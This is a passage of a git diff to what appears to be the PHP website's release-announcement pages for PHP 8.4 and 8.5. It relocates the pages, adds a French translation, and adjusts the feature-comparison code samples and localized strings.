    + HTML, + LIBXML_NOERROR, + ); + + $node = $dom->querySelector('main > article:last-child'); + var_dump($node->classList->contains("featured")); // bool(true) + PHP, + ), + new FeatureComparison( + id: 'bcmath', + title: message('bcmath_title', $lang), + description: message('bcmath_description', $lang), + links: ['RFC|https://wiki.php.net/rfc/support_object_type_in_bcmath'], + before: <<<'PHP' + $num1 = '0.12345'; + $num2 = '2'; + $result = bcadd($num1, $num2, 5); + + echo $result; // '2.12345' + var_dump(bccomp($num1, $num2) > 0); // false + PHP, + after: <<<'PHP' + use BcMath\Number; + + $num1 = new Number('0.12345'); + $num2 = new Number('2'); + $result = $num1 + $num2; + + echo $result; // '2.12345' + var_dump($num1 > $num2); // false + PHP, + ), + new FeatureComparison( + id: 'new_array_find', + title: message('new_array_find_title', $lang), + description: message('new_array_find_description', $lang), + links: ['RFC|https://wiki.php.net/rfc/array_find'], + before: <<<'PHP' + $animal = null; + foreach (['dog', 'cat', 'cow', 'duck', 'goose'] as $value) { + if (str_starts_with($value, 'c')) { + $animal = $value; + break; + } + } + + var_dump($animal); // string(3) "cat" + PHP, + after: <<<'PHP' + $animal = array_find( + ['dog', 'cat', 'cow', 'duck', 'goose'], + static fn(string $value): bool => str_starts_with($value, 'c'), + ); + + var_dump($animal); // string(3) "cat" + PHP, + ), + new FeatureComparison( + id: 'pdo_driver_specific_subclasses', + title: message('pdo_driver_specific_subclasses_title', $lang), + description: message('pdo_driver_specific_subclasses_description', $lang), + links: ['RFC|https://wiki.php.net/rfc/pdo_driver_specific_subclasses'], + before: <<<'PHP' + $connection = new PDO( + 'sqlite:foo.db', + $username, + $password, + ); // object(PDO) + + $connection->sqliteCreateFunction( + 'prepend_php', + static fn($string) => "PHP {$string}", + ); + + $connection->query('SELECT prepend_php(version) FROM php'); + PHP, + after: <<<'PHP' + $connection = PDO::connect( + 'sqlite:foo.db', + $username, + $password, + ); // object(Pdo\Sqlite) + + $connection->createFunction( + 'prepend_php', + static fn($string) => "PHP {$string}", + ); // Does not exist on a mismatching driver. + + $connection->query('SELECT prepend_php(version) FROM php'); + PHP, + ), + new FeatureComparison( + id: 'new_without_parentheses', + title: message('new_without_parentheses_title', $lang), + description: message('new_without_parentheses_description', $lang), + links: [ + 'RFC|https://wiki.php.net/rfc/new_without_parentheses', + message('documentation', $lang) . "|/manual/$documentation/migration84.new-features.php#migration84.new-features.core.new-chaining", + ], + before: <<<'PHP' + class PhpVersion + { + public function getVersion(): string + { + return 'PHP 8.3'; + } + } + + var_dump((new PhpVersion())->getVersion()); + PHP, + after: <<<'PHP' + class PhpVersion + { + public function getVersion(): string + { + return 'PHP 8.4'; + } + } + + var_dump(new PhpVersion()->getVersion()); + PHP, + ), +]; + +echo ReleasePage::getHeroSection( + title: message('main_title', $lang), + subtitle: message('main_subtitle', $lang), + logoSvg: << + SVG, + upgradeNow: message('upgrade_now', $lang), +); + +echo ReleasePage::getFeatureComparisons($comparisons, 'PHP 8.4', 'PHP < 8.4'); + +?> + +
    +
    +
    +
    +

    +
      +
    • +
    • +
    • +
    • +
    • +
    • +
    • +
    • +
    • +
    • +
    • +
    • +
    +
    +
    +

    +
      +
    • +
    • +
    • +
    • +
    • +
    • +
    • +
    • +
    • +
    • +
    • +
    • +
    • +
    +
    +
    +
    +
    + + false]); diff --git a/public/releases/8.4/ru.php b/public/releases/8.4/ru.php new file mode 100644 index 0000000000..55e44842ed --- /dev/null +++ b/public/releases/8.4/ru.php @@ -0,0 +1,5 @@ + 'English', 'es' => 'Español', + 'fr' => 'Français', 'ja' => '日本語', 'pt_BR' => 'Brazilian Portuguese', 'ru' => 'Русский', @@ -21,8 +22,8 @@ function common_header(string $description): void { global $MYSITE, $lang; - $meta_image_path = \htmlspecialchars( - \filter_var($MYSITE . 'images/php8/php_8_5_released.png', \FILTER_VALIDATE_URL)); + $meta_image_url = \filter_var($MYSITE . 'images/php8/php_8_5_released.png', \FILTER_VALIDATE_URL); + $meta_image_path = $meta_image_url === false ? '' : \htmlspecialchars($meta_image_url); $meta_description = \htmlspecialchars($description); $languages = []; @@ -35,6 +36,7 @@ function common_header(string $description): void { 'css' => ['php85.css'], 'language_switcher' => $languages, 'theme_switcher' => true, + 'cache_control' => 60 * 60, // 1 hour 'meta_tags' => << @@ -53,7 +55,10 @@ function common_header(string $description): void { ]); } -function message($code, $language = 'en', array $interpolations = []) +/** + * @param array $interpolations + */ +function message(string $code, string $language = 'en', array $interpolations = []): string { $original = require __DIR__ . '/languages/en.php'; if (($language !== 'en') && file_exists(__DIR__ . '/languages/' . $language . '.php')) { diff --git a/public/releases/8.5/en.php b/public/releases/8.5/en.php new file mode 100644 index 0000000000..569ea7b5d0 --- /dev/null +++ b/public/releases/8.5/en.php @@ -0,0 +1,5 @@ +chooseCode("", "", $_SERVER['HTTP_ACCEPT_LANGUAGE']); diff --git a/public/releases/8.5/ja.php b/public/releases/8.5/ja.php new file mode 100644 index 0000000000..7792525e5b --- /dev/null +++ b/public/releases/8.5/ja.php @@ -0,0 +1,5 @@ + 'Key Features in PHP 8.5', 'key_features_description' => '

    Faster, cleaner, and built for developers.

    ', - 'features_pipe_operator_title' => 'Pipe Operator', 'features_pipe_operator_description' => '

    The |> operator enables chaining callables left-to-right, passing values smoothly through multiple functions without intermediary variables.

    ', - 'features_persistent_curl_share_handles_title' => 'Persistent cURL Share Handles', 'features_persistent_curl_share_handles_description' => '

    Handles can now be persisted across multiple PHP requests, avoiding the cost of repeated connection initialization to the same hosts.

    ', - 'features_clone_with_title' => 'Clone With', 'features_clone_with_description' => '

    Clone objects and update properties with the new clone() syntax, making the "with-er" pattern simple for readonly classes.

    ', - 'features_uri_extension_title' => 'URI Extension', 'features_uri_extension_description' => '

    PHP 8.5 adds a built-in URI extension to parse, normalize, and handle URLs following RFC 3986 and WHATWG URL standards.

    ', - 'features_no_discard_title' => '#[\NoDiscard] Attribute', 'features_no_discard_description' => '

    The #[\NoDiscard] attribute warns when a return value isn’t used, helping prevent mistakes and improving overall API safety.

    ', - 'features_fcc_in_const_expr_title' => 'Closures and First-Class Callables in Constant Expressions', 'features_fcc_in_const_expr_description' => '

    Static closures and first-class callables can now be used in constant expressions, such as attribute parameters.

    ', 'pipe_operator_title' => 'Pipe Operator', 'pipe_operator_description' => '

    The pipe operator allows chaining function calls together without dealing with intermediary variables. This enables replacing many "nested calls" with a chain that can be read forwards, rather than inside-out.

    Learn more about the backstory of this feature in The PHP Foundation’s blog.

    ', - 'array_first_last_title' => 'array_first() and array_last() functions', + 'array_first_last_title' => 'array_first() and array_last() functions', 'array_first_last_description' => '

    The array_first() and array_last() functions return the first or last value of an array, respectively. If the array is empty, null is returned (making it easy to compose with the ?? operator).

    ', 'clone_with_title' => 'Clone With', @@ -39,7 +33,7 @@ 'uri_extension_title' => 'URI Extension', 'uri_extension_description' => '

    The new always-available URI extension provides APIs to securely parse and modify URIs and URLs according to the RFC 3986 and the WHATWG URL standards.

    Powered by the uriparser (RFC 3986) and Lexbor (WHATWG URL) libraries.

    Learn more about the backstory of this feature in The PHP Foundation’s blog.

    ', - 'no_discard_title' => '#[\NoDiscard] Attribute', + 'no_discard_title' => '#[\NoDiscard] Attribute', 'no_discard_description' => '

    By adding the #[\NoDiscard] attribute to a function, PHP will check whether the returned value is consumed and emit a warning if it is not. This allows improving the safety of APIs where the returned value is important, but it\'s easy to forget using the return value by accident.

    The associated (void) cast can be used to indicate that a value is intentionally unused.

    ', 'persistent_curl_share_handles_title' => 'Persistent cURL Share Handles', diff --git a/releases/8.5/languages/es.php b/public/releases/8.5/languages/es.php similarity index 93% rename from releases/8.5/languages/es.php rename to public/releases/8.5/languages/es.php index c68abd01ac..f5a0ab9f22 100644 --- a/releases/8.5/languages/es.php +++ b/public/releases/8.5/languages/es.php @@ -14,23 +14,17 @@ 'key_features' => 'Características clave en PHP 8.5', 'key_features_description' => '

    Más rápido, limpio y construido para desarrolladores.

    ', - 'features_pipe_operator_title' => 'Operador Pipe', 'features_pipe_operator_description' => '

    El operador |> permite encadenar callables de izquierda a derecha, pasando valores suavemente a través de múltiples funciones sin variables intermedias.

    ', - 'features_persistent_curl_share_handles_title' => 'Handles cURL Persistentes Compartidos', 'features_persistent_curl_share_handles_description' => '

    Los handles ahora pueden persistir a través de múltiples peticiones PHP, evitando el costo de inicialización repetida de conexiones a los mismos hosts.

    ', - 'features_clone_with_title' => 'Clone With', 'features_clone_with_description' => '

    Clona objetos y actualiza propiedades con la nueva sintaxis clone(), simplificando el patrón en clases readonly.

    ', - 'features_uri_extension_title' => 'Extensión URI', 'features_uri_extension_description' => '

    PHP 8.5 añade una extensión URI integrada para analizar, normalizar y manejar URLs siguiendo los estándares RFC 3986 y WHATWG URL.

    ', - 'features_no_discard_title' => 'Atributo #[\NoDiscard]', 'features_no_discard_description' => '

    El atributo #[\NoDiscard] advierte cuando un valor de retorno no se usa, ayudando a prevenir errores y mejorando la seguridad.

    ', - 'features_fcc_in_const_expr_title' => 'Closures y Callables de Primera Clase en Expresiones Constantes', 'features_fcc_in_const_expr_description' => '

    Los closures estáticos y callables de primera clase ahora pueden usarse en expresiones constantes, como parámetros de atributos.

    ', 'pipe_operator_title' => 'Operador Pipe', 'pipe_operator_description' => '

    El operador pipe permite encadenar llamadas a funciones sin tener que lidiar con variables intermedias. Esto permite reemplazar muchas "llamadas anidadas" con una cadena que se puede leer hacia adelante, en lugar de hacerlo de adentro hacia afuera.

    Aprende más sobre esta característica en el artículo de The PHP Foundation.

    ', - 'array_first_last_title' => 'Funciones array_first() y array_last()', + 'array_first_last_title' => 'Funciones array_first() y array_last()', 'array_first_last_description' => '

    Las funciones array_first() y array_last() devuelven el primer o último valor de un array, respectivamente. Si el array está vacío, se devuelve null (facilitando su usabilidad con el operador ??).

    ', 'clone_with_title' => 'Clone With', @@ -39,10 +33,10 @@ 'uri_extension_title' => 'Extensión URI', 'uri_extension_description' => '

    La nueva extensión URI proporciona APIs para analizar y modificar de forma segura URIs y URLs de acuerdo con los estándares RFC 3986 y WHATWG URL.

    Desarrollado por las librerías uriparser (RFC 3986) y Lexbor (WHATWG URL).

    Aprende más sobre esta característica en el artículo de The PHP Foundation.

    ', - 'no_discard_title' => 'Atributo #[\NoDiscard]', + 'no_discard_title' => 'Atributo #[\NoDiscard]', 'no_discard_description' => '

    Al agregar el atributo #[\NoDiscard] a una función, PHP verificará si el valor devuelto se consume y emitirá una advertencia si no lo es. Esto permite mejorar la seguridad de APIs donde el valor devuelto es importante, pero se podría olvidar usar el valor de retorno por accidente.

    El cast (void) puede usarse para indicar que un valor no se usa intencionalmente.

    ', - 'persistent_curl_share_handles_title' => 'Handles cURL persistentes compartidos', + 'persistent_curl_share_handles_title' => 'Handles cURL Persistentes Compartidos', 'persistent_curl_share_handles_description' => '

    A diferencia de curl_share_init(), los handles creados por curl_share_init_persistent() no serán destruidos al final de la petición PHP. Si se encuentra un handle persistente compartido con el mismo conjunto de opciones compartidas, será reutilizado, evitando el costo de inicializar handles cURL de nuevo.

    ', 'fcc_in_const_expr_title' => 'Closures y Callables de Primera Clase en Expresiones Constantes', diff --git a/public/releases/8.5/languages/fr.php b/public/releases/8.5/languages/fr.php new file mode 100644 index 0000000000..9bb108811b --- /dev/null +++ b/public/releases/8.5/languages/fr.php @@ -0,0 +1,73 @@ + 'PHP 8.5 est une mise à jour majeure du langage PHP, avec de nouvelles fonctionnalités incluant l\'extension URI, l\'opérateur Pipe et la prise en charge de la modification des propriétés lors du clonage.', + 'main_title' => 'Plus intelligent, plus rapide, conçu pour le futur.', + 'main_subtitle' => '

    PHP 8.5 est une mise à jour majeure du langage PHP, avec de nouvelles fonctionnalités incluant l\'extension URI, l\'opérateur Pipe et la prise en charge de la modification des propriétés lors du clonage.

    ', + + 'whats_new' => 'Nouveautés de la version 8.5', + 'upgrade_now' => 'Passer à PHP 8.5', + 'old_version' => 'PHP 8.4 et versions antérieures', + 'badge_new' => 'NOUVEAU', + 'documentation' => 'Doc', + 'released' => 'Publié le 20 nov. 2025', + 'key_features' => 'Fonctionnalités clés de PHP 8.5', + 'key_features_description' => '

    Plus rapide, plus propre et conçu pour les développeurs.

    ', + + 'features_pipe_operator_description' => '

    L\'opérateur |> permet d\'enchaîner des callables de gauche à droite, en transmettant les valeurs fluidement à travers plusieurs fonctions sans variables intermédiaires.

    ', + 'features_persistent_curl_share_handles_description' => '

    Les handles peuvent désormais être conservés entre plusieurs requêtes PHP, évitant le coût de l\'initialisation répétée des connexions vers les mêmes hôtes.

    ', + 'features_clone_with_description' => '

    Clonez des objets et mettez à jour leurs propriétés grâce à la nouvelle syntaxe clone(), simplifiant le pattern « with-er » pour les classes readonly.

    ', + 'features_uri_extension_description' => '

    PHP 8.5 ajoute une extension URI native pour analyser, normaliser et gérer les URL conformément aux standards RFC 3986 et WHATWG URL.

    ', + 'features_no_discard_description' => '

    L\'attribut #[\NoDiscard] émet un avertissement lorsqu\'une valeur de retour n\'est pas utilisée, aidant à prévenir les erreurs et à améliorer la sécurité globale des API.

    ', + 'features_fcc_in_const_expr_description' => '

    Les closures statiques et les callables de première classe peuvent désormais être utilisés dans les expressions constantes, comme les paramètres d\'attributs.

    ', + + 'pipe_operator_title' => 'Opérateur Pipe', + 'pipe_operator_description' => '

    L\'opérateur pipe permet d\'enchaîner des appels de fonctions sans avoir recours à des variables intermédiaires. Il permet de remplacer de nombreux « appels imbriqués » par une chaîne qui se lit de gauche à droite, plutôt que de l\'intérieur vers l\'extérieur.

    Pour en savoir plus sur l\'histoire de cette fonctionnalité, consultez le blog de la PHP Foundation.

    ', + + 'array_first_last_title' => 'Fonctions array_first() et array_last()', + 'array_first_last_description' => '

    Les fonctions array_first() et array_last() retournent respectivement la première ou la dernière valeur d\'un tableau. Si le tableau est vide, null est retourné (ce qui facilite la composition avec l\'opérateur ??).

    ', + + 'clone_with_title' => 'Clone With', + 'clone_with_description' => '

    Il est désormais possible de mettre à jour des propriétés lors du clonage d\'un objet en passant un tableau associatif à la fonction clone(). Cela permet une prise en charge simple du pattern « with-er » pour les classes readonly.

    ', + + 'uri_extension_title' => 'Extension URI', + 'uri_extension_description' => '

    La nouvelle extension URI, toujours disponible, fournit des API pour analyser et modifier de manière sécurisée les URI et URL selon les standards RFC 3986 et WHATWG URL.

    Propulsée par les bibliothèques uriparser (RFC 3986) et Lexbor (WHATWG URL).

    Pour en savoir plus sur l\'histoire de cette fonctionnalité, consultez le blog de la PHP Foundation.

    ', + + 'no_discard_title' => 'Attribut #[\NoDiscard]', + 'no_discard_description' => '

    En ajoutant l\'attribut #[\NoDiscard] à une fonction, PHP vérifie si la valeur retournée est consommée et émet un avertissement dans le cas contraire. Cela permet d\'améliorer la sécurité des API pour lesquelles la valeur de retour est importante, mais peut facilement être oubliée par inadvertance.

    Le cast associé (void) peut être utilisé pour indiquer qu\'une valeur est intentionnellement ignorée.

    ', + + 'persistent_curl_share_handles_title' => 'Handles cURL partagés persistants', + 'persistent_curl_share_handles_description' => '

    Contrairement à curl_share_init(), les handles créés par curl_share_init_persistent() ne seront pas détruits à la fin de la requête PHP. Si un handle partagé persistant avec le même ensemble d\'options de partage est trouvé, il sera réutilisé, évitant ainsi le coût d\'initialisation des handles cURL à chaque fois.

    ', + + 'fcc_in_const_expr_title' => 'Closures et callables de première classe dans les expressions constantes', + 'fcc_in_const_expr_description' => '

    Les closures statiques et les callables de première classe peuvent désormais être utilisés dans les expressions constantes. Cela inclut les paramètres d\'attributs, les valeurs par défaut des propriétés et des paramètres, ainsi que les constantes.

    ', + + 'new_classes_title' => 'Fonctionnalités supplémentaires et améliorations', + 'fatal_error_backtrace' => 'Les erreurs fatales (comme le dépassement du temps d\'exécution maximum) incluent désormais une trace d\'appels.', + 'const_attribute_target' => 'Les attributs peuvent désormais cibler les constantes.', + 'override_attr_properties' => 'L\'attribut {0} peut désormais être appliqué aux propriétés.', + 'deprecated_traits_constants' => 'L\'attribut {0} peut être utilisé sur les traits et les constantes.', + 'asymmetric_static_properties' => 'Les propriétés statiques prennent désormais en charge la visibilité asymétrique.', + 'final_promoted_properties' => 'Les propriétés peuvent être marquées comme final via la promotion de propriétés dans le constructeur.', + 'closure_getCurrent' => 'Ajout de la méthode Closure::getCurrent() pour simplifier la récursion dans les fonctions anonymes.', + 'partitioned_cookies' => 'Les fonctions {0} et {1} prennent désormais en charge la clé « partitioned ».', + 'get_set_error_handler' => 'Les nouvelles fonctions {0} et {1} sont disponibles.', + 'new_dom_element_methods' => 'Les nouvelles méthodes {0} et {1} sont disponibles.', + 'grapheme_levenshtein' => 'Ajout de la fonction {0}.', + 'delayed_target_validation' => 'Le nouvel attribut {0} peut être utilisé pour supprimer les erreurs à la compilation provenant des attributs du noyau et des extensions utilisés sur des cibles invalides.', + + 'bc_title' => 'Dépréciations et ruptures de compatibilité ascendante', + 'bc_backtick_operator' => 'L\'opérateur backtick en tant qu\'alias de {0} a été déprécié.', + 'bc_non_canonical_cast_names' => 'Les noms de cast non canoniques (boolean), (integer), (double) et (binary) ont été dépréciés. Utilisez respectivement (bool), (int), (float) et (string) à la place.', + 'bc_disable_classes' => 'Le paramètre INI {0} a été supprimé car il entraîne des ruptures dans diverses hypothèses du moteur.', + 'bc_semicolon_after_case' => 'La terminaison des instructions case par un point-virgule au lieu d\'un deux-points a été dépréciée.', + 'bc_null_array_offset' => 'L\'utilisation de null comme décalage de tableau ou lors de l\'appel de {0} est désormais dépréciée. Utilisez une chaîne vide à la place.', + 'bc_class_alias_names' => 'Il n\'est plus possible d\'utiliser « array » et « callable » comme noms d\'alias de classe dans {0}.', + 'bc_sleep_wakeup' => 'Les méthodes magiques {0} et {1} ont été légèrement dépréciées. Les méthodes magiques {2} et {3} devraient être utilisées à la place.', + 'bc_casting_nan' => 'Un avertissement est désormais émis lors du cast de {0} vers d\'autres types.', + 'bc_non_array_destructuring' => 'La déstructuration de valeurs non-tableau (autres que null) avec {0} ou {1} émet désormais un avertissement.', + 'bc_casting_non_int_floats' => 'Un avertissement est désormais émis lors du cast de nombres flottants (ou de chaînes ressemblant à des flottants) en int s\'ils ne peuvent pas être représentés comme tels.', + + 'footer_title' => 'Une syntaxe améliorée, de meilleures performances et une sécurité de typage renforcée.', + 'footer_description' => '

    La liste complète des modifications est consignée dans le journal des modifications.

    Veuillez consulter le guide de migration pour une liste détaillée des nouvelles fonctionnalités et des changements incompatibles avec les versions précédentes.

    ', +]; diff --git a/releases/8.5/languages/ja.php b/public/releases/8.5/languages/ja.php similarity index 94% rename from releases/8.5/languages/ja.php rename to public/releases/8.5/languages/ja.php index 4729484e8d..00fb9a6c07 100644 --- a/releases/8.5/languages/ja.php +++ b/public/releases/8.5/languages/ja.php @@ -14,23 +14,17 @@ 'key_features' => 'PHP 8.5 の主な機能', 'key_features_description' => '

    より速く、よりクリーンに。そして開発者のために。

    ', - 'features_pipe_operator_title' => 'パイプ演算子', 'features_pipe_operator_description' => '

    |> 演算子を使うと callable を左から右にチェインさせ、中間変数を使わずに値を複数の関数にスムーズに受け渡せます。

    ', - 'features_persistent_curl_share_handles_title' => '持続的な cURL 共有ハンドル', 'features_persistent_curl_share_handles_description' => '

    ハンドルを複数の PHP リクエストにまたがって持続させられるようになります。同じホストへの接続初期化を繰り返すコストを避けることができます。

    ', - 'features_clone_with_title' => 'Clone With', 'features_clone_with_description' => '

    新しい clone() 構文でオブジェクトを clone してプロパティを更新します。readonly クラスの "with-er" パターンが簡潔になります。

    ', - 'features_uri_extension_title' => 'URI 拡張モジュール', 'features_uri_extension_description' => '

    URL のパース、正規化、処理を行う新しい組み込みの URI 拡張モジュールが PHP 8.5 で追加されました。

    ', - 'features_no_discard_title' => '#[\NoDiscard] アトリビュート', 'features_no_discard_description' => '

    #[\NoDiscard] アトリビュートを使うと、戻り値が利用されていない場合に警告を出します。ミスを防ぎ全体の API 安全性を向上するのに役立ちます。

    ', - 'features_fcc_in_const_expr_title' => '定数式でのクロージャと第一級 callable', 'features_fcc_in_const_expr_description' => '

    static なクロージャと第一級 callable が、アトリビュートの引数などの定数式で使えるようになります。

    ', 'pipe_operator_title' => 'パイプ演算子', 'pipe_operator_description' => '

    パイプ演算子を使うと、中間変数を扱うことなく複数の関数呼び出しを繋げることができます。これによってたくさんの「入れ子呼び出し」を置き換え、中から外ではなく先に向かって読むことができるようになります。

    この機能の背景について詳しくは PHP Foundation のブログをお読みください。

    ', - 'array_first_last_title' => 'array_first() ・ array_last() 関数', + 'array_first_last_title' => 'array_first() ・ array_last() 関数', 'array_first_last_description' => '

    array_first()、array_last() 関数は、それぞれ配列の最初と最後の値を返します。空配列の場合は null を返します(そのため ?? 演算子と組み合わせやすいです)。

    ', 'clone_with_title' => 'Clone With', @@ -39,7 +33,7 @@ 'uri_extension_title' => 'URI 拡張モジュール', 'uri_extension_description' => '

    常に有効な新しい URI 拡張モジュールは、RFC 3986 と WHATWG URL 標準にしたがって URI や URL を安全にパース・編集できる API を提供します。

    uriparser (RFC 3986) と Lexbor (WHATWG URL) ライブラリを利用しています。

    この機能の背景は PHP Foundation のブログをお読みください。

    ', - 'no_discard_title' => '#[\NoDiscard] アトリビュート', + 'no_discard_title' => '#[\NoDiscard] アトリビュート', 'no_discard_description' => '

    #[\NoDiscard] アトリビュートを関数に追加すると、戻り値が利用されたかを PHP がチェックし、されていなければ警告を出します。これにより、戻り値が重要なのにそれを利用することをうっかり忘れやすい API の安全性を高めることができます。

    関連する (void) キャストを使うと、戻り値を使っていないのが意図的であることを明示できます。

    ', 'persistent_curl_share_handles_title' => '持続的な cURL 共有ハンドル', diff --git a/releases/8.5/languages/pt_BR.php b/public/releases/8.5/languages/pt_BR.php similarity index 93% rename from releases/8.5/languages/pt_BR.php rename to public/releases/8.5/languages/pt_BR.php index 4c0a0ddd11..eddef93304 100644 --- a/releases/8.5/languages/pt_BR.php +++ b/public/releases/8.5/languages/pt_BR.php @@ -14,23 +14,17 @@ 'key_features' => 'Principais recursos do PHP 8.5', 'key_features_description' => '

    Mais rápido, mais limpo e feito para desenvolvedores.

    ', - 'features_pipe_operator_title' => 'Operador Pipe', 'features_pipe_operator_description' => '

    O operador |> permite encadear funções da esquerda para a direita, passando valores entre múltiplas chamadas sem variáveis intermediárias.

    ', - 'features_persistent_curl_share_handles_title' => 'cURL Share Handles Persistentes', 'features_persistent_curl_share_handles_description' => '

    Agora é possível manter handles compartilhados entre várias requisições PHP, evitando o custo de inicializar conexões repetidas para os mesmos hosts.

    ', - 'features_clone_with_title' => 'Clone With', 'features_clone_with_description' => '

    Clone objetos e atualize propriedades usando a nova sintaxe clone(), facilitando o padrão “with-er” para classes readonly.

    ', - 'features_uri_extension_title' => 'Extensão URI', 'features_uri_extension_description' => '

    O PHP 8.5 adiciona uma extensão nativa para analisar, normalizar e manipular URLs seguindo os padrões RFC 3986 e WHATWG URL.

    ', - 'features_no_discard_title' => 'Atributo #[\NoDiscard]', 'features_no_discard_description' => '

    O atributo #[\NoDiscard] emite um aviso quando o valor de retorno não é usado, ajudando a evitar erros e aumentando a segurança de APIs.

    ', - 'features_fcc_in_const_expr_title' => 'Closures e First-Class Callables em Expressões Constantes', 'features_fcc_in_const_expr_description' => '

    Closures estáticas e first-class callables agora podem ser usadas em expressões constantes, como parâmetros de atributos.

    ', 'pipe_operator_title' => 'Operador Pipe', 'pipe_operator_description' => '

    O operador pipe permite encadear chamadas de função sem lidar com variáveis intermediárias. Isso substitui chamadas aninhadas por um fluxo mais legível de cima para baixo.

    Saiba mais sobre os bastidores desse recurso no blog da The PHP Foundation.

    ', - 'array_first_last_title' => 'Funções array_first() e array_last()', + 'array_first_last_title' => 'Funções array_first() e array_last()', 'array_first_last_description' => '

    As funções array_first() e array_last() retornam, respectivamente, o primeiro ou o último valor de um array. Se o array estiver vazio, retornam null, o que facilita o uso com o operador ??.

    ', 'clone_with_title' => 'Clone With', @@ -39,7 +33,7 @@ 'uri_extension_title' => 'Extensão URI', 'uri_extension_description' => '

    A nova extensão URI, sempre disponível, fornece APIs para analisar e modificar URIs e URLs seguindo os padrões RFC 3986 e WHATWG URL.

    Baseada nas bibliotecas uriparser (RFC 3986) e Lexbor (WHATWG URL).

    Saiba mais sobre esse recurso no blog da The PHP Foundation.

    ', - 'no_discard_title' => 'Atributo #[\NoDiscard]', + 'no_discard_title' => 'Atributo #[\NoDiscard]', 'no_discard_description' => '

    Ao marcar uma função com #[\NoDiscard], o PHP verificará se o valor retornado foi usado e emitirá um aviso caso não seja. Isso aumenta a segurança de APIs em que o retorno é importante, mas pode ser facilmente ignorado.

    O cast (void) pode ser usado para indicar que o valor está sendo descartado intencionalmente.

    ', 'persistent_curl_share_handles_title' => 'cURL Share Handles Persistentes', diff --git a/releases/8.5/languages/ru.php b/public/releases/8.5/languages/ru.php similarity index 95% rename from releases/8.5/languages/ru.php rename to public/releases/8.5/languages/ru.php index 695ea9b579..8fa163b91a 100644 --- a/releases/8.5/languages/ru.php +++ b/public/releases/8.5/languages/ru.php @@ -14,23 +14,17 @@ 'key_features' => 'Основные функции PHP 8.5', 'key_features_description' => '

    Быстрее, лучше, доступнее для разработчиков.

    ', - 'features_pipe_operator_title' => 'Оператор Pipe', 'features_pipe_operator_description' => '

    Оператор |> позволяет связывать вызываемые объекты слева направо, передавая значения через несколько функций без промежуточных переменных.

    ', - 'features_persistent_curl_share_handles_title' => 'Постоянные дескрипторы cURL Share', 'features_persistent_curl_share_handles_description' => '

    Теперь дескрипторы могут сохраняться между несколькими запросами PHP, что позволяет избежать затрат на повторную инициализацию соединения с одними и теми же хостами.

    ', - 'features_clone_with_title' => 'Clone With', 'features_clone_with_description' => '

    Клонируйте объекты и обновляйте свойства с помощью нового синтаксиса clone(), который упрощает использование шаблона «with-er» для классов readonly.

    ', - 'features_uri_extension_title' => 'Модуль URI', 'features_uri_extension_description' => '

    В PHP 8.5 добавлен модуль URI для анализа, нормализации и обработки URL-адресов в соответствии со стандартами RFC 3986 и WHATWG URL.

    ', - 'features_no_discard_title' => 'Атрибут #[\NoDiscard]', 'features_no_discard_description' => '

    Атрибут #[\NoDiscard] выдаёт предупреждение, если возвращаемое значение не используется, что помогает предотвратить ошибки и повысить общую безопасность API.

    ', - 'features_fcc_in_const_expr_title' => 'Замыкания и вызовы первого класса в константных выражениях', 'features_fcc_in_const_expr_description' => '

    Статические замыкания и вызываемые объекты первого класса теперь могут использоваться в константных выражениях, таких как параметры атрибутов.

    ', 'pipe_operator_title' => 'Оператор Pipe', 'pipe_operator_description' => '

    Оператор Pipe позволяет связывать вызовы функций в цепочку без использования промежуточных переменных. Позволяет заменить множество «вложенных вызовов» цепочкой.

    Узнайте больше об этой функции в блоге PHP Foundation.

    ', - 'array_first_last_title' => 'Функции array_first() и array_last()', + 'array_first_last_title' => 'Функции array_first() и array_last()', 'array_first_last_description' => '

    Функции array_first() и array_last() возвращают первое или последнее значение массива, соответственно. Если массив пустой, возвращается null (что упрощает работу с оператором ??).

    ', 'clone_with_title' => 'Clone With', @@ -39,7 +33,7 @@ 'uri_extension_title' => 'Модуль URI', 'uri_extension_description' => '

    Встроенный модуль URI предоставляет API для безопасного анализа и изменения URI и URL в соответствии со стандартами RFC 3986 и WHATWG URL.

    Работает на базе библиотек uriparser (RFC 3986) и Lexbor (WHATWG URL).

    Узнайте больше об этой функции в блоге PHP Foundation.

    ', - 'no_discard_title' => 'Атрибут #[\NoDiscard]', + 'no_discard_title' => 'Атрибут #[\NoDiscard]', 'no_discard_description' => '

    Добавив атрибут #[\NoDiscard] к функции, PHP будет проверять, используется ли возвращаемое значение, и выдавать предупреждение, если это не так. Позволяет повысить безопасность API, где возвращаемое значение важно, но про него можно легко забыть.

    Связанное приведение типов (void) может использоваться для указания, что значение намеренно не используется.

    ', 'persistent_curl_share_handles_title' => 'Постоянные дескрипторы cURL Share', diff --git a/releases/8.5/languages/tr.php b/public/releases/8.5/languages/tr.php similarity index 93% rename from releases/8.5/languages/tr.php rename to public/releases/8.5/languages/tr.php index 7df1c908c9..1f0a6ca766 100644 --- a/releases/8.5/languages/tr.php +++ b/public/releases/8.5/languages/tr.php @@ -14,23 +14,17 @@ 'key_features' => 'PHP 8.5’in Temel Özellikleri', 'key_features_description' => '

    Daha hızlı, daha temiz ve geliştiriciler için tasarlanmış.

    ', - 'features_pipe_operator_title' => 'Pipe Operatörü', 'features_pipe_operator_description' => '

    |> operatörü, fonksiyonları soldan sağa zincirlemenizi sağlar ve değerleri ara değişken kullanmadan sorunsuz şekilde birden fazla fonksiyona geçirir.

    ', - 'features_persistent_curl_share_handles_title' => 'Kalıcı cURL Share Handle’lar', 'features_persistent_curl_share_handles_description' => '

    Handle’lar artık birden fazla PHP isteği boyunca kalıcı olabilir, aynı hostlara tekrar bağlantı başlatma maliyetini ortadan kaldırır.

    ', - 'features_clone_with_title' => 'Clone With', 'features_clone_with_description' => '

    Nesneleri klonlarken özellikleri yeni clone() sözdizimi ile güncellemek mümkündür, bu da readonly sınıflar için "with-er" desenini basitleştirir.

    ', - 'features_uri_extension_title' => 'URI Uzantısı', 'features_uri_extension_description' => '

    PHP 8.5, RFC 3986 ve WHATWG URL standartlarına uygun URL’leri ayrıştırmak, normalize etmek ve yönetmek için yerleşik bir URI uzantısı ekler.

    ', - 'features_no_discard_title' => '#[\NoDiscard] Özelliği', 'features_no_discard_description' => '

    #[\NoDiscard] özelliği, döndürülen değer kullanılmadığında uyarı verir, böylece hataları önler ve API güvenliğini artırır.

    ', - 'features_fcc_in_const_expr_title' => 'Sabit İfadelerde Closure’lar ve Birinci Sınıf Callable’lar', 'features_fcc_in_const_expr_description' => '

    Artık statik closure’lar ve birinci sınıf callable’lar sabit ifadelerde kullanılabilir, örneğin attribute parametrelerinde.

